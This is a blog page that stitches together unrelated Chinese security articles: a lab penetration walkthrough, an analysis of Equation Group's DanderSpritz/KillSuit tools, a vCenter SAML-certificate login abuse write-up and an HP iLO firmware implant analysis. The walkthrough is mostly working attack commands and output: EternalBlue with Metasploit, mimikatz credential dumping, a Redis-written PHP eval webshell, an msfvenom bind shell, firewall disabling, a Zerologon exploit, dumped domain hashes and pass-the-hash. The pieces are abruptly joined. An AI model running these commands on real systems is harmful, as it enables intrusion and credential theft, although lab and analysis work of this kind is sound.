Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863583227

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

网络配置

外网WIN7:ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 (NAT模式)ip2:10.0.20.98-vmnet1(仅主机模式)域主机成员:10.0.20.99-vmnet1(仅主机模式)10.0.10.111-vmnet2(仅主机模式)域控:10.0.10.110-vmnet2(仅主机模式)密码配置:Win7:win7/adminwin2016:Administrator/Admin@123、vulntarget.com\win2016   Admin#123win2019:vulntarget.com\administrator   Admin@666

信息收集

扫描主机

arp-scan  -l扫描同一网段中的存活主机a0fgwy0hflv14995.png发现一个存活主机:192.168.127.91

扫描端口

扫描一下存活靶机的ip地址

nmap -sC -T4 192.168.127.91ca1b24ejxaw14997.png发现目标系统为win7,且开放了445端口,尝试利用永恒之蓝(ms17-010)打一波目标系统

内网主机渗透

kali中输入命令:msfconsolemsf 6> search 17-010msf 6> use 0msf 6> set payload windows/x64/meterpreter/reverse_tcpmsf 6> set lport 6666msf 6> set lhost 192.168.127.129msf 6> set rhosts  192.168.127.91msf 6> run5ioxe4pagvk14998.pngmeterpreter>shell  C:\Windows\System32>ipconfigy4y22uskfhs15000.png发现有些乱码,直接在设置一下
C:\Windows\System32>CHCP 65001     #65001 UTF-8代码页C:\Windows\System32>ipconfig  #发现有两个网段,一个是192.168.127的网段,另一个就是10.0.20网段bvpapnvephh15001.pngC:\Windows\System32>whomai  #查看当前用户得权限为system权限byfoge1rxil15002.pngC:\Windows\System32>tasklist/svc  #查看进程,发现系统中没有杀软2bj5b0farrc15005.pngC:\Windows\System32>exit #退出shell命令终端tige3tyfsc515006.pngmeterpreter>load kiwi  #加载mimikataz模块meterpreter>creds_all  #获取当前所有用户得登录凭证,发现用户名为win7,密码为:adminz4b5cwupf1x15007.png


Web渗透

直接访问,http://192.168.127.91/,发现是通达OAxx3jkhcqqrg15016.jpg查看通达OA的版本号,当前版本为11.3http://192.168.127.91/inc/expired.php xsbd50npz5r15017.png通过搜索引擎搜索通达11.3存在文件包含漏洞参考地址:https://blog.csdn.net/hackzkaq/article/details/115900500这里使用一键图形化工具获得webshelljlm43op0gga15020.png使用蚁剑连接成功c4qa1n5rsgq15021.pngpfmfnjiojob15023.png同样在蚁剑的命令终端下查看当前用户的权限为system权限yosahnkciwi15026.png

横向渗透

进程迁移获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移meterpreter > run post/windows/manage/migrate   #从1080的spoolsv.exe迁移到了noepad.exe的4800进程jb5pdpgnh2z15029.png查看本地网络连接子网段meterpreter > run  get_local_subnetsc3eytl5strj15030.png添加一条动态路由meterpreter > run autoroute -s 10.0.20.0/24或者meterpreter >backgroundmeterpreter >sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/multi/manage/autoroutemsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >runfa4y1aafyly15033.pngmeterpreter >backgroundhxcmga0kttq15035.png发现存活主机msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/windows/gather/arp_scannermsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >set rhosts 10.0.20.1-254msf6 exploit(windows/smb/ms17_010_eternalblue) >runyevrqfxnamq15037.png发现了另一台存活主机10.0.20.99开启socks5代理
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > runns4dvm3hmpk15039.pnggkcfnscnqdd15041.png

端口扫描

首先先要需要修改/etc/proxychain4.conf配置文件

vim   /etc/proxychains4.confsocks5  127.0.0.1  1080通过nmap扫描目标IP的常用端口proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080ek0lz3sui3q15043.png发现10.0.20.99主机开放了6379和80端口这里使用本地socks5代理客服端proxifier软件ijsoqdqxvgb15045.png通过dirsearch进行扫描,发现目标存在phpinfo.php敏感信息页面python3   dirsearch.py  -l url.txt  -t 10  -e *   -i 200,302  --format csv -o C:\Users\backlion\Desktop\dirsearch-master\xxx.com.csv或者攻击机kali下执行
proxychains python dirsearch.py -u http://10.0.20.99 -i 200
proxychains dirsearch -u “http://10.0.20.99” --proxy=socks5://127.0.0.1:1080 -t 5 
rzvnfdm2esr15046.png访问phpinfo.php页面发现暴露了网站的绝对路径:C:/phpStudy/PHPTutorial/WWW/http://10.0.20.99/phpinfo.php rik4o3lxuqy15050.png
http://10.0.20.99/l.php1s2qjz3azo415053.png

Redis未授权访问

通过 redis-cli 命令可无密码进行远程连接proxychains redis-cli -h 10.0.20.99lx2moizdnzh15055.png

Redis写入webshell

10.0.20.99:6379> CONFIG set dir "C:/phpStudy/PHPTutorial/WWW/"  #切换到可写入shell的绝对路径10.0.20.99:6379> set x "\n\n\n<?php @eval($_POST['x']);?>\n\n\n"   #写入一句话木马10.0.20.99:6379> config set dbfilename shell.php  #设置文件名为shell.php10.0.20.99:6379> savehwafyuszvj115057.png这里通过本地主机上的蚁剑设置代理,且连接webshell0jsc4w0rhjo15058.png
zym13fdu4oj15060.pngdvwmhw1chnl15061.png查看当前用户权限为syestemfeosdllk2kp15062.png

上传MSF后门

生成正向shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=3333 -f exe > shell.exeyg2upi02tri15065.png使用蚁剑上传shell.exe到10.0.20.99,并执行ktfcmx1txbf15066.png

配置监听器

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 3333set RHOST 10.0.20.99runlysu35c1pjc15067.png
关闭防火墙
netsh firewall set opmode mode=disable
4ykyxdcd4sz15068.png蚁剑命令终端中运行shell.exedfkttzy4rtp15070.jpg收集同网段主机meterpreter > arps4jkgaqpnnd15071.png扫出10.0.10.110网段迁移进程
run post/windows/manage/migrate
yaii4gfb52x15078.pngmeterpreter > sysinfo5vzoisyzmqb15079.pngmeterpreter > shell3xfcupz0f4r15080.pngC:\phpStudy\PHPTutorial\WWW>CHCP 65001jyjbvykpde215081.png收集IP信息C:\phpStudy\PHPTutorial\WWW>ipconfig/alln0it1iwzywl15083.pngwa3jqkkj24i15084.png有域存在,查看域控计算机名C:\phpStudy\PHPTutorial\WWW>net group "domain controllers" /domaind0pwli0hxll15086.png查看域管理员C:\phpStudy\PHPTutorial\WWW>net group "enterprise admins" /domaingouy4oeoflo15090.png

域提权

添加路由meterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -p4r0ohgnjpr115093.pngmeterpreter > run post/windows/gather/enum_domaindodaqcwfey115098.pngproxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139pboygz5el1k15104.png下载impacket包,并进行安装git clone https://github.com/SecureAuthCorp/impacketcd impacketpython3 -m pip install -r requirements.txtpython3 -m pip install .下载CVE-2020-1472EXPgit clone  https://github.com/dirkjanm/CVE-2020-1472.gitcd CVE-2020-1472执行EXPproxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110miwkpurrdhx15108.png获取域管理员hashcd  /opt/impacket/examplesproxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-passi1pxt5rfi3x15114.pngAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:d0b248a756f62bbef5b286c7be19c7a9:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51dAdministrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1Administrator:des-cbc-md5:dcc29476a789ec9ekrbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cdedkrbtgt:des-cbc-md5:10efae67c7026dbfvulntarget.com\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61vulntarget.com\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25WIN2019$:des-cbc-md5:01c8894f541023bcWIN2016$:aes256-cts-hmac-sha1-96:414bc47994e3bf616da9e115ba8c7e528ce17315734337479d6f67df3ca6e682WIN2016$:aes128-cts-hmac-sha1-96:8b30d9d37e7f7f474124382d2fe75950WIN2016$:des-cbc-md5:6d97313875e362c8拿到管理员hash,执行提权exp
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15  Administrator@10.0.10.110
34u5karvuja15120.png开启3389远程桌面端口:reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

直接3389登录:proxychains  rdesktop 10.0.10.110

账号:balsec.com\administrator   密码:Admin@666

ypd0pruzobk15124.jpg



01.png

KillSuitKillSuit (KiSu)是一個不尋常的插件,一旦部署在受害設備上,它的整個任務就是運行其他插件,為持久性和規避提供框架。一些DanderSpritz 插件可以單獨運行,也可以通過KillSuit 調用。它的設計使得在受害者端運行的每個KillSuit 實例都可以託管一個工具(例如下面的MistyVeal);因此,很容易發生受害者設備上安裝了多個KillSuit 實例,每個實例都託管不同的post-exploitation工具。每個KillSuit 實例的數據,包括其所有模塊,都在註冊表項中保持加密。這是KillSuit 獨有的功能,通常不是DanderSpritz 插件的功能。

DoubleFeature 記錄了大量與KillSuit 相關的數據。實際上,DoubleFeature 內部也有一些死代碼,允許刪除、升級和推送模塊更新到運行的KillSuit 實例中。雖然“KillSuit”是在DoubleFeature 內部和攻擊者實際調用的外層DanderSpritz CLI 中使用的名稱,但實際上內部使用的Plugin 文件夾名稱是DecibalMinute(簡稱DeMi)。 Python UI 邏輯主要可以在3 個腳本中找到,不出所料,它們位於在插件的pyscripts 目錄中。

“Mcl_Cmd_DiBa_Tasking.py”:處理KiSu 安裝、卸載和升級。作為參數,此腳本接受要使用的持久性機制的類型;有4 種類型的持久性,命名為“Default”, “Launcher”, “SoTi” 和“JuVi”。我們將在下面進一步詳細說明它們的內部工作原理。在底層,Python UI通過RPC調用(RPC_INFO_INSTALL)實現這一點。

“Mcl_Cmd_KisuComms_Tasking.py”:用於與受害者端正在運行的KillSuit實例建立連接,並提供動態加載和卸載模塊/驅動程序的功能。

“_KiSu_BH_enable.py”:KillSuit 的一個內部驅動程序稱為“BroughtHotShot”,簡稱BH。此腳本不會啟用它,但會檢查它是否已被啟用(通過DanderSpritz 命令可用-command kisu_install -isloaded 和可用-command kisu_install -load)。如果要啟用驅動程序,則需要執行KiSu_BH_enable.py on,禁用則是KiSu_BH_enable.py off。

“Mcl_Cmd_KiSuFullList_Tasking.py”:生成目標設備上當前KiSu 安裝的列表。在後台,這是通過調用kisu_list DanderSpritz 命令完成的,然後對於每個返回的安裝,通過DanderSpritz 命令kisu_config -instance id -checksum 來獲取它的配置。此配置包含各種技術細節,例如KillSuit 版本、安裝的註冊表項和值、內核和用戶模塊的加載程序、用於保存託管插件模塊的加密虛擬文件系統的目錄、已被安裝的合法驅動程序通過將託管插件注入其中,以及在受害者上啟動KillSuit 時內部使用的標誌而受害。

每個KillSuit 實例都有一個內部記錄,其中包含該實例中託管的工具的“ID”,每個工具的ID 都是相同的。我們發現DoubleFeature 內部引用了以下可能的實例:

PC (PeddleCheap) –0x7A43E1FA:提供一個交互式shell和一些長期持久性的功能。本身也可用作post-exploitation工具,並且可以在受感染的主機上安裝其他KillSuit 實例。

UR (UnitedRake) :0x91FD378(同上);

STLA (StrangeLand)/GROK –0x1A0F5582,這些都是鍵盤記錄器,他們的加密日誌存儲在名稱格式為tm154*.da 的文件中;

SNUN (SnuffleUnicorn) –0x23A4732A;

WRWA (WraithWrath) –0x502BB710;

SLSH (SleepySheriff) –0x32A7032D;

WORA (WoozyRamble) –0x68A40E49;

TTSU (TiltTsunami) -0x8F1D6511;

SOKN (SoberKnave) -0x8F1D6510:該工具具有通過未使用/禁用的WiFi卡進行數據溢出的功能,它被用於氣隙系統(airgapped)目標。

MAGR (MagicGrain) -0x437e528e8;

DODA (DoubleDare) -0x1C9D4A8A;

SAAN (SavageAngel) –0x9D801C63;

MOAN (MorbidAngel) –0x9D801C62;

DEWH (DementiaWheel)–0xAE37690B:黑客工具也稱為“Fanny”;

CHMU (ChinMusic) –0x39B2DA17;

MAMO (MagicMonkey) –0x2D473AB3;

MABE (MagicBean) -0x8675309 :用於中間人的WiFi

DiveBarDiveBar(DiBa)是DoubleFeature對負責持久化方法(例如“KSLA”(KillSuit loader)、“SolarTime”、“JustVisiting”和“DoctorOcopus”)部分的命名。

我們上面提到的不同持久化方法有:

KSLA (Launcher):只需在受害系統上安裝一個新的驅動程序並將其用於持久性。這種情況一直持續到微軟引入驅動程序簽名強制執行(DSE),它不允許未簽名的驅動程序運行。 Windows Vista及以後版本不支持此方法。

JustVisiting (JuVi):為了繞過DSE,這種持久性機制濫用了簽名驅動程序ElbyCDIO.sys 中的一個已知漏洞,該漏洞是RedFox 軟件“CloneCD”的一部分。在系統啟動時加載和利用易受攻擊的驅動程序。以這種方式獲得的提升權限會用於將DiveBar 的持久化驅動程序添加到LSAExtensionConfig/interfaces,此方法僅適用於Windows 8操作系統。

SolarTime (SoTi):一種高級的持久性機制,通過修改一個受害者係統的VBR 來工作。僅與具有FVEBOOT 和特定引導扇區格式的NTFS 文件系統兼容。 SoTi 將引導扇區的哈希與下面列出的“已知良好”哈希列表進行比較。

15.png

如上所述,KillSuit 在受害者註冊表中保存了一個叫做“模塊存儲”的內容。根據註冊表的合法目的,惡意軟件使用註冊表來存儲簡單的配置數據;但隨著時間的流逝,越來越多的惡意軟件開始使用註冊表來存儲任意數據。這樣,註冊表就會包含模塊存儲的整個虛擬文件系統,該模塊存儲是通過連接兩個硬編碼字典中偽隨機選擇的兩個單詞生成的。第一個單詞的可能值列示如下:

16.png

第二個單詞的可能值:

17.png

卡巴斯基報導過的“GrayFish”的架構和KillSuit一樣:

18.webp.jpg

GrayFish 的架構

圖中資源與DiveBar資源一一對應:

102 – fvexpy.sys – F7F382A0C610177431B27B93C4C87AC1;

103 – mpdkg32.dll – 0182DBF3E594581A87992F80C762C099;

104 – BroughtHotShot driver – drmkflt.sys – 9C6D1ED1F5E22BF609BCF5CA6E587DEC/D3DF8781249F2C404C4935CA9FFB1155;

107 – New VBR (for SolarTime);

110 – mpdkg64.dll – F01525C9EF763C49E28CEC6C2F6F6C60;

114 – Elby loader – fhsvcapi.dll – 6156E50571571B233019C4EBB472899D;

115 – Elby driver – AAA8999A169E39FB8B48AE49CD6AC30A;

DiveBar並不局限於濫用ElbyCDIO.sys,它還會搜索受害者設備上已經存在的易受攻擊的良性驅動程序,以用作託管插件代碼的“啟動器”。在內部,這種被DiveBar 選擇來啟動KillSuit 實例的良性驅動程序被稱為“thunk”。對於每個KillSuit 實例,DoubleFeature 都會報告用於加載其內核模式模塊的thunk 漏洞利用dll,簡稱KML(內核模塊啟動器)。

FlewAvenueFlewAvenue(FlAv)是一個IPv4驅動程序,為其他工具提供隱蔽的網絡訪問。它提供了不同的網絡功能,如DNS查詢和ICMP 回顯(“ping”)。

FlewAvenue 的指標如下:

“ntevt.sys”——此工具驅動程序的名稱

DuneMessiahDoubleFeature 診斷僅提供有關此工具的非常少的信息。對於此工具,DoubleFeature 報告了受害設備上的實例在內部使用的偽隨機生成的“事件名稱”,以及一些註冊的KillSuit 實例。

CritterFrenzyDoubleFeature 也僅報告有關此插件的最少信息,從DoubleFeature收集到的關於這個工具的信息來看,它似乎是KillSuit的另一個實例,可能是過去使用過,ID為333。

CritterFrenzy 指標如下:

“MPDKH32”——此工具的名稱

MistyVealMistyVeal (MV) 是一種“驗證器”植入程序,這意味著它用於驗證目標系統確實是真正的受害者,而不是檢測環境。它作為Internet Explorer 瀏覽器助手對象實現(這些通常用於擴展IE 功能;例如,Adobe 的IE 的Acrobat 插件就是一個瀏覽器助手對象)。 MistyVeal 也是Equation Group 最初的“Double Fantasy”植入程序的一部分,它是UnitedRake 的前身“netdlr.sys”——該工具驅動程序的名稱

MistyVeal指標如下所示:

{B812789D-6FDF-97AB-834B-9F4376B2C8E1} ——用於GUID和版本的MV CLSID

DiceDealerDiceDealer (DD) 是DiveBar 執行的所有安裝和卸載所產生的日誌數據的解析工具(這與UnitedRake有關,因為通常使用DiveBar來安裝它)。如果你想手動解析DiceDealer 日誌文件,最簡單的方法是將日誌文件複製到DiceDealerReader 工具所在的同一目錄中。讀取器依賴於該目錄中的幾個文件,如果它們不存在,將無法解析日誌。

PeddleCheapPeddleCheap ****(PC) 是最先在受害設備上運行的工具之一,可用於引導一次完整的DanderSpritz 安裝。 PeddleCheap 包含的功能非常少,允許攻擊者連接到受害設備並遠程安裝和配置允許進一步post-exploitation功能的植入程序,包括一個完整安裝DanderSpritz 框架。 PeddleCheap 通常通過多種方法注入到lsass.exe中,包括DOUBLEPULSAR 後門。

19.webp.jpg

PeddleCheap 用戶界面

PeddleCheap 指標如下:

{A682FEC0-333F-B16A-4EE6-24CC2BAF1185}——用於GUID和版本的PC CLSID

DoubleFeature 的Rootkit 控制流程

DoubleFeature (hidsvc.sys) 使用的rootkit 在加載時執行以下操作:

1.它創建了一個未命名的設備對象,但註冊了IRP 調度功能。

2.它分派IOCTL 請求。

3.它專門從事Windows 內核代碼的運行時修復。

4.它為用戶模式模塊運行內核API。

Rootkit 在加載到內存之前由用戶模式DLL 修復,這樣做是為了插入用戶模式進程的PID,以便rootkit 知道要隱藏哪個進程。然後,rootkit 通過KeAttachProcess 附加到這個相同用戶模式進程中。

Rootkit 使用HalAllocateCommonBuffer 或MmIsAddressValid 查找API 函數的動態地址(這些函數的地址是之前通過調用MmGetSystemRoutineAddress 獲得的)。它使用加密的堆棧字符串,這些字符串在需要使用的基礎上解密,並在使用後再次立即加密,類似於我們之前描述的DoubleFeature 用戶模式組件中使用的方法。

為了避免被檢測到,rootkit 還會盡可能隱秘地創建自己的驅動程序對象。首先,rootkit 不是直接創建對象,而是先創建Device\\NULL 的句柄,然後通過插入自己的名稱為driver\\msvss 的設備對象來劫持其FileHandle。最後,它使用此FileObject 發送IRP_MJ_Create 請求以獲得新創建的驅動程序對象的句柄。其次,rootkit 調用ObMakeTemporaryObject 並從其父對像管理器目錄中刪除對象的名稱,有效地將其與操作系統內部用於跟踪加載的驅動程序的結構斷開鏈接。由於Windows 操作系統處理驅動程序的方式,這會導致驅動程序在後台運行,而診斷工具和研究人員將無法找到驅動程序。

新設備的IRP_MJ_DEVICE_CONTROL 處理程序函數包含可以從用戶模式DLL 發送的不同IoControl 代碼(例如0x8589240c 用於截斷文件,0x85892408 用於在內核模式下執行API 調用並將輸出發送回用戶模式進程)。

0x00 前言我最近學到的一個利用方法:在vCenter上使用管理員權限,從/storage/db/vmware-vmdir/data.mdb提取IdP證書,為管理員用戶創建SAML請求,最後使用vCenter server進行身份驗證並獲得有效的管理員cookie。

直觀理解:從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限。

學習資料:

https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

https://github.com/horizon3ai/vcenter_saml_login

本文將要在學習資料的基礎上,完善代碼,增加通用性,結合利用思路給出防禦建議。

0x01 簡介本文將要介紹以下內容:

方法復現

腳本優化

利用思路

防禦建議

0x02 方法復現在Kali系統下進行測試

安裝Openssl:

aptinstallpython3-openssl1.從vCenter獲得數據庫文件路徑:/storage/db/vmware-vmdir/data.mdb

需要vCenter管理員權限

2.運行腳本下載地址:

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

命令參數示例:

python3./vcenter_saml_login.py-t192.168.1.1-pdata.mdb命令行返回結果:

JSESSIONID=XX533CDFA344DE842517C943A1AC76113.登錄VCSA管理面板訪問https://192.168.1.1/ui

設置Cookie: JSESSIONID=XX533CDFA344DE842517C943A1AC7611

成功以管理員身份登錄管理面板

0x03 腳本優化通常data.mdb的大小至少為20MB

為了減少交互流量,選擇將vcenter_saml_login.py修改成能夠直接在vCenter下使用

注:

vCenter默認安裝Python

在腳本修改上具體需要考慮以下問題:

1.去掉引用第三方包bitstring我採用的方式是將第三方包bitstring的內容進行精簡,直接插入到Python腳本中

2.避免使用f-字符串格式化Python3.6新增了一種f-字符串格式化

vCenter 6.7的版本為Python 3.5.6,不支持格式化的字符串文字前綴為”f”

我採用的方式是使用format實現格式化字符串

例如:

cn=stream.read(f'bytes:{cn_len}').decode()替換為:

cn=stream.read('bytes:{}'.format(cn_len)).decode()完整代碼已上傳至Github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

vCenter_ExtraCertFromMdb.py可上傳至vCenter後直接執行,執行後會得到以下四個重要的參數:

domain,在命令行顯示

idp_cert,保存為idp_cert.txt

trusted_cert_1,保存為trusted_cert_1.txt

trusted_cert_2,保存為trusted_cert_2.txt

接下來,可在任意主機上為管理員用戶創建SAML請求,使用vCenter server進行身份驗證並獲得有效的管理員cookie,完整代碼已上傳至Github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

參數說明如下:

target: VCSA管理面板的URL

hostname: 對應VCSA管理面板的證書Subject屬性中的CN

domain: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

idp_cert path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

trusted_cert_1 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

trusted_cert_2 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

0x04 利用思路1.從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限前提:通過漏洞獲得了vCenter本地管理員權限

利用效果:

獲得VCSA管理面板的管理員訪問權限,能夠同vCenter可管理的虛擬機進行交互

注:

此時還可以通過《vSphere开发指南5——LDAP》 中介紹的方法通過LDAP數據庫添加管理員用戶,進而同vCenter可管理的虛擬機進行交互

2.從vCenter備份文件中得到data.mdb前提:需要獲得正確的data.mdb文件

利用效果:

獲得VCSA管理面板的管理員訪問權限,能夠同vCenter可管理的虛擬機進行交互

0x05 防禦建議1.更新補丁,避免攻擊者獲得vCenter本地管理員權限

2.避免在用的vCenter備份文件洩露

0x06 小結本文介紹了vcenter_saml_login的優化思路,增加通用性,結合利用思路給出防禦建議。

Implant.ARM.iLOBleed.a惡意軟件分析在本節中,我們將對HP iLO 固件中發現的植入程序進行技術分析。

當我們的安全分析團隊發現惡意軟件時,攻擊者決定擦除服務器的磁盤並完全隱藏他們的踪跡。有趣的是,攻擊者並會不斷擦除痕跡,他們將惡意軟件設置為每隔一段時間重複執行數據擦除。也許他們認為,如果系統管理員重新安裝操作系統,整個硬盤會在一段時間後再次被擦除。顯然,他們不認為他們的惡意軟件會被發現。

但與其他“wiper”惡意軟件不同,這不是一次性惡意軟件。它旨在長時間保持在雷達之下。此惡意軟件的重要功能之一是操縱iLO 固件升級例程,因此如果系統管理員嘗試將iLO 固件升級到新版本,惡意軟件會在阻止升級例程的同時模擬版本更改。為此,惡意軟件會假裝升級成功,並提供所有正確的消息和日誌。甚至固件版本的確切數量也被提取並顯示在Web 控制台和其他位置的適當位置,儘管實際上並未執行升級。

這就表明,該惡意軟件的目的是成為具有最大隱蔽性並躲避所有安全檢查的rootkit。一種惡意軟件,通過隱藏在最強大的處理資源之一(始終打開)中,能夠執行從攻擊者那裡收到的任何命令,而不會被檢測到。

很自然,執行的此類攻擊屬於APT 類別。但是,使用如此強大且成本高昂的惡意軟件來破壞數據,增加惡意軟件被檢測到的可能性的任務對於這些攻擊者來說似乎是一個明顯的錯誤。

iLO 轉儲實用程序檢查固件感染的第一步是準備一個副本或檢查所謂的固件轉儲。

不幸的是,HP沒有提供一個工具或方法來測試和讀取iLO固件。為此,編寫了一個固件轉儲工具被提上了日程,最終演變成了Padvish iLO Scanner工具,並演變為兩個版本:

從主機操作系統內部掃描:如前所述,iLO 固件可通過安裝在系統上的主處理器和操作系統作為PCI-Express 卡使用。 HP 為各種操作系統引入了一個名為flash_ilo 的工具,以允許將固件更新到較新的版本。但是,此工具只允許你寫入固件,而不允許你讀取現有固件。為此,基於在iLO 上獲得的知識,我們能夠開發一種工具來讀取固件並從中創建轉儲。

通過iLO網口進行掃描:由於通過主機操作系統進行掃描可能並不總是可行,而且網絡管理員可能很難在生產服務器上執行掃描,或者很難進行大量掃描,因此考慮了另一種掃描固件的方法。此版本的掃描器允許轉儲固件,方法是使用先前iLO 版本上的一些已知漏洞,使其能夠在易受攻擊的固件上遠程執行代碼。由於使用漏洞,該版本只能轉儲2.30到2.50範圍內的HP iLO4固件。

受感染的固件分析製作服務器固件副本後,應將其與原始固件版本進行比較。 Implant.ARM.iLOBleed.a 惡意軟件基於iLO 固件2.30 版。因此,該受感染版本與原始版本之間的差異如下圖所示。

7.png

固件簽名差異:(上)獲得的受感染轉儲,(下)惠普公司提供的原件

仔細觀察,還比較了文件系統級的兩個固件組件和模塊,如下表所示。

比較受感染系統固件模塊與原始版本的簽名8.png

如該表所示,在構成hpimage.bin 的所有模塊中,只有hpimage標頭文件和引導加載程序標頭文件兩部分是相同的。在其他部分中,簽名中的差異表明這兩個文件在這些部分之間存在差異。也可以看出,大部分變化都與ELF.bin模塊有關,而其他模塊只有2到12個字節的變化。

重啟後持久化任何類型的惡意軟件的開發人員擔心的一個問題是,在惡意軟件最初進入系統後,系統必須“保持”受感染狀態。

正如我們之前在“iLO 固件結構”一節中詳細介紹的,在iLO 啟動過程中,bootloader 模塊負責驗證操作系統內核的簽名,而係統的內核負責驗證用戶模式模塊的簽名。因此,如果攻擊者想要在iLO 固件上創建後門,除了插入後門(基本上在ELF.bin 文件中完成)之外,就必須在操作系統內核中禁用驗證機制,從而在引導加載程序中禁用驗證機制。

9.png

禁用操作系統內核和用戶模式模塊的驗證過程

上圖簡要描述了繞過操作系統內核和用戶模式模塊驗證過程的過程:攻擊者通過逆向工程提取bootloader.bin、kernel.bin 和ELF.bin 三個主要部分後,查找在引導加載程序和內核中執行簽名驗證和驗證操作的函數的地址,並將它們替換為NOP 命令。最後,將修改後的文件組合在一起形成一個完整的HP Image 文件,並作為新固件寫入SPI 閃存。重啟後,可以看到被感染的固件加載後門沒有任何問題。

惡意軟件模塊分析引導加載程序部分如表2 所示,Boot Loader 與原始固件相比更改了5 個字節。對這些字節的詳細分析表明,這種差異是由於負責驗證操作系統內核的功能發生了變化,並且正在通過替換NOP 命令禁用此過程。

10.png

禁用Bootloader 中的簽名驗證功能

內核部分如表2 所示,內核從原始固件更改了12 個字節。對這一變化的更詳細分析表明,這種差異是由於負責驗證UserLand 簽名並通過替換3 個NOP 命令禁用此過程的功能發生了變化。

11.png

禁用內核中的簽名驗證功能

UserLand 部分提取受感染固件的UserLand 部分並將其內容與原始版本進行比較,表明刪除了一個文件(sectionInfo)並添加了一個新模塊(稱為newELF,包含17 個單獨的部分)。此外,除了添加新的惡意軟件模塊外,原始版本中的許多模塊也發生了變化。

12.png

受感染系統硬件中的修改文件

在本節中,將該惡意軟件中原始版本的模塊與修改後的模塊進行比較,結果如下表所示。

帶有NewELF 的iLO 版本與原始版本的比較13.png

惡意軟件工件

Implant.ARM.iLOBleed.a 惡意軟件在iLO(也稱為NAND 閃存)的工作區存儲中創建3 個文件。這些文件的路徑甚至名稱似乎都可以通過配置器模塊進行配置。在我們獲得的惡意軟件樣本中,這三個文件分別命名為lifesignal.bin、schedule.bin 和fakefwdata.bin。

惡意軟件使用的三個文件14.png

如果系統管理員嘗試升級其服務器的固件版本,惡意軟件會在阻止和模擬固件升級操作以欺騙系統管理員的同時,在fakefwdata.bin 文件中輸入此操作的信息。

如其名稱所示,schedule.bin文件用於調度磁盤擦除操作。在這個文件中,存儲了兩個4字節的整數:一個計數器和一個日期紀元。前4個字節的數字(計數器)被設置為一個初始值,並在每次執行磁盤擦除過程時減少1。此操作按週期重複,直到計數器為零。第二個數字(日期)表示磁盤擦除進程的開始日期。

15.png

文件schedule.bin 的內容

